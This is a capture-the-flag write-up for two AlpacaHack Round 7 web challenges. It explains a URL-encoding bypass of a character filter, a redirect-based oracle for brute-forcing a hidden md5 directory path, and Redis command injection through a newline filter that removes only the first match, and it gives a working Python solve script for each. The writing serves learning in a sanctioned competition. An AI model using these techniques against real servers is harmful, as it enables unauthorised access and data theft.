AlpacaHack Round 7 (Web) Write up

Treasure Hunt

116 pts (71 solves)
Web
Author:

ark

Check out the challenge here yourself
https://alpacahack.com/ctfs/round-7/challenges/treasure-hunt

Observations

There are two things that you need to figure out
In the dockerfile, the flag name is moved to a path made out of the md5sum of the flag and in a file. You have to figure out how to know if a directory exists

# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
    && mkdir -p $(dirname $FLAG_PATH) \
    && mv flag.txt $FLAG_PATH

There is also a regex check that forbids any requests that contains the characters flag in the URL. You need to first figure out a way to bypass this check.

  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }

Solution

After some trial and error, you could know that if a directory exists, the server would redirect you to the directory. For example, if you try to access http://server.com/a and directory a exists, it would redirect you to http://server.com/a/. With this we can brute force the directory name one by one. Since md5sum contains [a-f0-9] we only need to guess at most 16 times for each directory

To bypass the regex check, you just need to URL encode the characters.

Note that python requests library would URL decode some of the characters in the URL path

Maybe here https://github.com/psf/requests/blob/main/src/requests/models.py#L480Do

Therefore I did the encoding in the proxy on only the flag characters.

Solve script.

import requests
import string
s = requests.session()
s.verify=False
s.proxies = {"http":"http://localhost:8080"}
def check(g):
    for c in "flagbcde1234567890":
        target_url = "http://34.170.146.252:19843"
        res = s.get(target_url + f"{g}{c}",allow_redirects=False)
        if res.status_code == 301:
            print(g + c)
            return g + c + "/"
    return g
out = "/"
while True:
    i = len(out)
    out = check(out)
    if len(out) == i:
        break

Alpaca Poll

146 pts (42 solves)
Web
Author:

st98

Check out the challenge here
https://alpacahack.com/ctfs/round-7/challenges/alpaca-poll

Observation

The parameter animal is controlled by the user. You can inject into the query.

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;
    const reply = await send(socket, message);
    socket.destroy();
    console.info('[SQL reply]', reply)
    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}

There is a check here that checks for newline but does not seemed to be working

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

Solve script

import requests

s = requests.session()

s.verify= False
s.proxies={"http":"http://localhost:8080"}

# URL and headers
url = "http://34.170.146.252:42664/vote"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
}

def flagLen():
    payload = f"""animal=flag

    EVAL "return string.len(redis.call('GET', KEYS[1]))" 1 flag
    """

    # Make the POST request
    response = s.post(url, headers=headers, data=payload)

    # Print the response
    # print("Status Code:", response.status_code)
    print("Response Body:", response.text)
    return int(response.text.split(":")[-1][:-1])
def readFlag(idx):
    payload = f"""animal=flag

    EVAL "return string.byte(redis.call('GET', KEYS[1]):sub({idx}, {idx}))" 1 flag
    """

    # Make the POST request
    response = s.post(url, headers=headers, data=payload)

    # Print the response
    # print("Status Code:", response.status_code)
    print("Response Body:", response.text)
    return chr(int(response.text.split(":")[-1][:-1]))
length = flagLen()
out = ""
for i in range(length):
    out += readFlag(i+1)
print(out)